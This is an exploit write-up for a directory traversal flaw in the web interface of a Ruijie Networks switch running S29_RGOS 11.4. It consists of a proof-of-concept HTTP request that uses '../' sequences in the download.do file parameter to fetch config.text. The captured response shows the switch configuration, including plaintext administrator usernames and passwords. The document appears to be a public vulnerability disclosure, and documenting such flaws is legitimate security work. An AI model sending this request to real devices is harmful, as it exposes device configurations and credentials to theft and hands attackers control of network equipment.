55 lines
No EOL
1.3 KiB
Text
55 lines
No EOL
1.3 KiB
Text
# Exploit Title: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal
|
|
# Exploit Author: Tuygun
|
|
# Date: 2020-08-19
|
|
# Vendor Homepage: https://www.ruijienetworks.com/
|
|
# Version: eWeb S29_RGOS 11.4(1)B12P11
|
|
# Source : https://faruktuygun.com/directorytraversal.html
|
|
|
|
Proof of Concept Request:
|
|
|
|
GET /download.do?file=../../../../config.text HTTP/1.1
|
|
Host: 192.168.2.160
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
|
|
Firefox/60.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Cookie: LOCAL_LANG_COOKIE=en; UI_LOCAL_COOKIE=en; mac=0074.9c95.43f0;
|
|
SID=33BA8206DE5B8B8295C89A3C4787D7A; module=network; subModule=certify;
|
|
threeModule=certify_adv
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
Response:
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Wed, 03 Jun 2020 20:52.25 GMT
|
|
Server: HTTP-Server/1.1
|
|
Content-length: 2070
|
|
Content-Disposition: attachment; filename="config.text"
|
|
Content-Type: application/octet-stream; Charset=UTF-8
|
|
|
|
version S29_RGOS 11.4(1)B12P11
|
|
hostname OMURGA
|
|
!
|
|
no spanning-tree
|
|
!
|
|
username admin password admin
|
|
username ruijie privilege 15 201998
|
|
|
|
!
|
|
cwmp
|
|
!
|
|
install 0 S2910C-24GT2XS-HP-E
|
|
!
|
|
sysmac 0074.9C95.43f0
|
|
!
|
|
enable service web-server http
|
|
enable service web-server https
|
|
webmaster level 1 username ruijie password 201998
|
|
!
|
|
nfpp
|
|
!
|
|
.
|
|
.
|
|
. |